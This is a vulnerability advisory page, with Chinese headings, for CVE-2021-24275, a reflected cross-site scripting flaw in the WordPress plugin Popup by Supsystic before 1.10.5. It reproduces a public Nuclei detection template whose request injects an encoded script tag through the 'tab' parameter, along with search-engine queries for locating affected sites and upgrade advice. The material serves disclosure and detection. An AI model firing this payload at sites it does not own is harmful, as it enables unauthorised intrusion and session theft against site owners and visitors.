CVE-2021-24275: Popup by Supsystic <1.10.5 - Cross-Site scripting

日期: 2025-08-01 | 影响软件: Popup by Supsystic | POC: 已公开

漏洞描述

WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.

PoC代码[已公开]

id: CVE-2021-24275

info:
  name: Popup by Supsystic <1.10.5 - Cross-Site scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
    - http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24275
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24275
    cwe-id: CWE-79
    epss-score: 0.05897
    epss-percentile: 0.9025
    cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: popup
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-by-supsystic
    fofa-query: body=/wp-content/plugins/popup-by-supsystic
    publicwww-query: /wp-content/plugins/popup-by-supsystic
  tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100daf10d6f96e9b95b9b00fa4c47bf918d3f7bf3cef2fb79822d8e87a35a9d328f02203ea4ee497fa5cb5e62305f7e20cf4f78b7ffab85e526846cfcc90fc1cece31b2:922c64590222798bb761d5b6d8e72950